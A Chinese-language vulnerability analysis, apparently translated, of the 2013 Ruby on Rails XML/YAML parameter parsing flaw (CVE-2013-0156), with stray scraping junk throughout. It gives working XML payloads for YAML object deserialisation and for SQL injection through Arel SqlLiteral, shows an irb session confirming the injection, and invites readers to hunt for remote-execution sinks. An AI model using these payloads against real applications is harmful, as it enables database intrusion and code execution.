Author: wofeiwo#80sec.com `% W# U' a6 \/ l! L* H
' f7 X2 [0 M y6 q3 C1 m5 }
注意,本文基本是这篇文章的中文版本,由于我水平有限,因此如果大家看的不是很明白,建议去原文查看。
- y9 M5 |! d7 {1 w" L: H% P) x6 a* G9 e2 k+ J+ ` V+ L
近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155和CVE-2013-0156. d2 v( d/ @3 {% v' t) E1 H
+ j2 t8 _5 m' u7 c2 O( ^) fCVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家”立即”升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了.
3 m( Z2 l: d! ^7 a* Q/ r+ F( J8 }# d5 O/ ^* p
为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如: . m% ` D' G2 _2 Q" F: G8 e
) o% w6 Y* I, C2 H2 v
<?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> </hash>如果你POST提交这样的一个数据,RoR就会在其中解析为:
. p* g8 O [: e* i5 ^
% S& `, t: \# i* s% |: a/ x"hash" => {"foo" => 1}这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml. ( R( ~ q2 T" L
" ?) [5 E% o/ @( D5 c& o- t
说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么? # ~6 _) f) l' d" j$ K C% k W
4 k$ V% s! r- H- E# t然后我们测试下,就会发现,由于框架中对参数进行 data.with_indifferent_access 的操作(会把key全变成string),我们还是无法通过xml去将Key变成Symbol类型。所以,也无法利用此漏洞去利用CVE-2012-6496。 7 |; d4 k$ @/ E& X7 A w
0 S% k1 Y5 b: l# W4 R) p% ~
但是等等,还有另一个参数类型,yaml。 Y7 d: Q( H# d1 a6 v; l; F1 z
" d, w6 n! s P1 o7 ^: `0 j2 `
yaml强大的地方在于,利用yaml语言,你可以让Rails生成各种类型的数据结构,例如,Object。
/ Z% O* }5 e8 S1 l' _) @5 ~- l; _2 I; u( q+ x' q6 l
<test type="yaml">--- !ruby/object:A8 h6 m- E1 c: G. l B2 g, w
aaa: bbb </test>这基本类似于一个变量反序列化的过程,实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中,有将此Object的aaa属性带入eval/exec/system等关键语句中,就可以执行一些被污染的代码。 % B! E1 V+ H8 \
% s4 E8 A+ P1 r$ H0 z3 H- m7 R如果你熟悉rails的代码,或者其他开源rails的webapp,现在就可以找起来了。或许一个远程执行0day就此诞生。
% t2 {: r" t2 D# A y1 Q, v) y# @$ ~& Q5 ?. H+ l- h
如果你不熟悉ror,那么也没问题,实际上还有个利用方式,可以直接进行sql注入。 ) {- W1 U- F: [ ?
; ?; A+ X0 @( R0 Y% L! u一般在RoR中都是使用model.find_by_*的方式进行数据库查询(ActiveRecord模式)
. d" S+ b9 y5 m: l; e5 u8 x. o( `1 x; d1 J3 r, s
model.find_by_id(params[:id])类似的代码会很常见。我们可以通过yaml去定义这个id变量,使其成为可以注入的内容:
8 T3 A7 ^- ~/ m1 u
+ s o( m$ g. B<id type=yaml>--- !str:Arel::Nodes::SqlLiteral
+ t" O) P0 h; D `1 and 1=2 </id>利用如上代码,通过SqlLiteral对象,即可进行sql注入。
5 X9 ]8 ?, c+ w7 H
* _9 ^1 `3 ]' Q+ @! Y+ kirb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1") => "1" irb(main):018:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1") => "1 and 1=1" irb(main):020:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2") => "1 and 1=2" irb(main):022:0> Post.find_by_id(a) Post Load (0.0ms)[0m SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 => nil本文非常感谢@tcpper 的帮助,没有他的解释和测试,我是无法理解RoR及本漏洞的。
0 E+ w9 Z- o2 \6 B
$ g. s; ^2 U7 \# Q, e |